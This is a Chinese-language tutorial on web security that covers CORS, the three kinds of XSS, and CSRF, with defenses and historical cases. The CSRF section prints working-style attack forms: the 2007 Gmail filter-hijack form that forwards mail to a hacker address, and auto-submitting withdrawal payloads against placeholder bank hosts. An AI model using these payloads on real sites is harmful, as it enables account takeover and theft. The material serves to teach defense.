Web 安全
跨源资源共享 CORS
跨源资源共享 (Cross-Origin Resource Sharing,CORS)(或通俗地译为跨域资源共享)是一种基于 HTTP 头的机制,该机制通过允许服务器标示除了它自己以外的其它 origin(域,协议和端口),使得浏览器允许这些 origin 访问加载自己的资源。
跨源HTTP请求的一个例子:运行在 https://domain-a.com 的 JavaScript 代码使用 XMLHttpRequest 来发起一个到 https://domain-b.com/data.json 的请求。
出于安全性,浏览器限制脚本内发起的跨源HTTP请求。 例如,XMLHttpRequest 和 Fetch API 遵循同源策略。这意味着使用这些 API 的 Web 应用程序只能从加载应用程序的同一个域请求 HTTP 资源,除非响应报文包含了正确 CORS 响应头。
HTTP/1.1 200 OK
Date: Mon, 01 Dec 2008 00:23:53 GMT
Server: Apache/2
Access-Control-Allow-Origin: *
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: application/xml
[XML Data]
HTTP/1.1 200 OK
Date: Mon, 01 Dec 2008 00:23:53 GMT
Server: Apache/2
Access-Control-Allow-Origin: *
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: application/xml
[XML Data]
本例中,服务端返回的 Access-Control-Allow-Origin: * 表明,该资源可以被 任意 外域访问。
Access-Control-Allow-Origin: *
Access-Control-Allow-Origin: *
跨站脚本攻击 XSS
跨站脚本攻击(Cross-site scripting,XSS)是一种安全漏洞,攻击者可以利用这种漏洞在网站上注入恶意的客户端代码。当被攻击者登陆网站时就会自动运行这些恶意代码,从而,攻击者可以突破网站的访问权限,冒充受害者。根据开放式 Web 应用安全项目(OWASP),XSS 在 2017 年被认为 7 种最常见的 Web 应用程序漏洞之一。
本来缩写其应该是CSS,不过为了避免和CSS层叠样式表 (Cascading Style Sheets)重复,所以在安全领域叫做 XSS。
攻击方式
存储型 XSS
注入型脚本永久存储在目标服务器上。当浏览器请求数据时,脚本从服务器上传回并执行。
反射型 XSS
当用户点击一个恶意链接,或者提交一个表单,或者进入一个恶意网站时,注入脚本进入被攻击者的网站。Web服务器将注入脚本,比如一个错误信息,搜索结果等 返回到用户的浏览器上。由于浏览器认为这个响应来自"可信任"的服务器,所以会执行这段脚本。
基于 DOM 的 XSS
通过修改原始的客户端代码,受害者浏览器的 DOM 环境改变,导致有效载荷的执行。也就是说,页面本身并没有变化,但由于DOM环境被恶意修改,有客户端代码被包含进了页面,并且意外执行。
防御方式
跨站请求伪造 CSRF
跨站请求伪造(Cross-site request forgery, CSRF)是一种冒充受信任用户,向服务器发送非预期请求的攻击方式。
举个例子
这一天,小明同学百无聊赖地刷着Gmail邮件。大部分都是没营养的通知、验证码、聊天记录之类。但有一封邮件引起了小明的注意:
甩卖比特币,一个只要998!!
一个典型的CSRF攻击有着如下的流程:
聪明的小明当然知道这种肯定是骗子,但还是抱着好奇的态度点了进去(请勿模仿)。果然,这只是一个什么都没有的空白页面,小明失望的关闭了页面。一切似乎什么都没有发生……
在这平静的外表之下,黑客的攻击已然得手。小明的Gmail中,被偷偷设置了一个过滤规则,这个规则使得所有的邮件都会被自动转发到hacker@hackermail.com。小明还在继续刷着邮件,殊不知他的邮件正在一封封地,如脱缰的野马一般地,持续不断地向着黑客的邮箱转发而去。
不久之后的一天,小明发现自己的域名已经被转让了。懵懂的小明以为是域名到期自己忘了续费,直到有一天,对方开出了 $650 的赎回价码,小明才开始觉得不太对劲。
小明仔细查了下域名的转让,对方是拥有自己的验证码的,而域名的验证码只存在于自己的邮箱里面。小明回想起那天奇怪的链接,打开后重新查看了“空白页”的源码:
<form method="POST" action="https://mail.google.com/mail/h/ewt1jmuj4ddv/?v=prf" enctype="multipart/form-data">
<input type="hidden" name="cf2_emc" value="true"/>
<input type="hidden" name="cf2_email" value="hacker@hakermail.com"/>
.....
<input type="hidden" name="irf" value="on"/>
<input type="hidden" name="nvp_bu_cftb" value="Create Filter"/>
</form>
<script>
document.forms[0].submit();
</script>
<form method="POST" action="https://mail.google.com/mail/h/ewt1jmuj4ddv/?v=prf" enctype="multipart/form-data">
<input type="hidden" name="cf2_emc" value="true"/>
<input type="hidden" name="cf2_email" value="hacker@hakermail.com"/>
.....
<input type="hidden" name="irf" value="on"/>
<input type="hidden" name="nvp_bu_cftb" value="Create Filter"/>
</form>
<script>
document.forms[0].submit();
</script>
这个页面只要打开,就会向Gmail发送一个post请求。请求中,执行了“Create Filter”命令,将所有的邮件,转发到“hacker@hackermail.com”。
小明由于刚刚就登陆了Gmail,所以这个请求发送时,携带着小明的登录凭证(Cookie),Gmail的后台接收到请求,验证了确实有小明的登录凭证,于是成功给小明配置了过滤器。
黑客可以查看小明的所有邮件,包括邮件里的域名验证码等隐私信息。拿到验证码之后,黑客就可以要求域名服务商把域名重置给自己。
明很快打开Gmail,找到了那条过滤器,将其删除。然而,已经泄露的邮件,已经被转让的域名,再也无法挽回了……
以上就是小明的悲惨遭遇。而“点开一个黑客的链接,所有邮件都被窃取”这种事情并不是杜撰的,此事件原型是2007年Gmail的CSRF漏洞:
https://www.davidairey.com/google-gmail-security-hijack
当然,目前此漏洞已被Gmail修复,请使用Gmail的同学不要慌张。
攻击方式
几种常见的攻击类型
- GET类型的CSRF
GET类型的CSRF利用非常简单,只需要一个HTTP请求,一般会这样利用:

在受害者访问含有这个img的页面后,浏览器会自动向http://bank.example/withdraw?account=xiaoming&amount=10000&for=hacker发出一次HTTP请求。
- POST类型的CSRF
这种类型的CSRF利用起来通常使用的是一个自动提交的表单,如:
<form action="http://bank.example/withdraw" method=POST>
<input type="hidden" name="account" value="xiaoming" />
<input type="hidden" name="amount" value="10000" />
<input type="hidden" name="for" value="hacker" />
</form>
<script> document.forms[0].submit(); </script>
<form action="http://bank.example/withdraw" method=POST>
<input type="hidden" name="account" value="xiaoming" />
<input type="hidden" name="amount" value="10000" />
<input type="hidden" name="for" value="hacker" />
</form>
<script> document.forms[0].submit(); </script>
访问该页面后,表单会自动提交,相当于模拟用户完成了一次POST操作。
3.链接类型的CSRF
链接类型的CSRF并不常见,比起其他两种用户打开页面就中招的情况,这种需要用户点击链接才会触发。这种类型通常是在论坛中发布的图片中嵌入恶意链接,或者以广告的形式诱导用户中招,攻击者通常会以比较夸张的词语诱骗用户点击,例如:
<a href="http://test.com/csrf/withdraw.php?amount=1000&for=hacker" taget="_blank">重磅消息!!<a/>
<a href="http://test.com/csrf/withdraw.php?amount=1000&for=hacker" taget="_blank">重磅消息!!<a/>
由于之前用户登录了信任的网站A,并且保存登录状态,只要用户主动访问上面的这个PHP页面,则表示攻击成功。
CSRF的特点
- 攻击一般发起在第三方网站,而不是被攻击的网站。被攻击的网站无法防止攻击发生。
- 攻击利用受害者在被攻击网站的登录凭证,冒充受害者提交操作;而不是直接窃取数据。
- 整个过程攻击者并不能获取到受害者的登录凭证,仅仅是“冒用”。
- 跨站请求可以用各种方式:图片URL、超链接、CORS、Form提交等等。部分请求方式可以直接嵌入在第三方论坛、文章中,难以进行追踪。
CSRF通常是跨域的,因为外域通常更容易被攻击者掌控。但是如果本域下有容易被利用的功能,比如可以发图和链接的论坛和评论区,攻击可以直接在本域下进行,而且这种攻击更加危险。
防御方式
上文中讲了CSRF的两个特点:
- CSRF(通常)发生在第三方域名。
- CSRF攻击者不能获取到Cookie等信息,只是使用。
针对这两点,我们可以专门制定防护策略,如下:
- 阻止不明外域的访问
- 同源检测
- Samesite Cookie
- 同源检测
- 提交时要求附加本域才能获取的信息
- CSRF Token
- 双重Cookie验证
- CSRF Token
历史案例
Gmail的CSRF漏洞
2007年Gmail的CSRF漏洞。
YouTube的CSRF漏洞
2008年,有安全研究人员发现,YouTube上几乎所有用户可以操作的动作都存在CSRF漏洞。
WordPress的CSRF漏洞
2012年3月份,WordPress发现了一个CSRF漏洞,影响了WordPress 3.3.1版本,WordPress是众所周知的博客平台,该漏洞可以允许攻击者修改某个Post的标题,添加管理权限用户以及操作用户账户,包括但不限于删除评论、修改头像等等。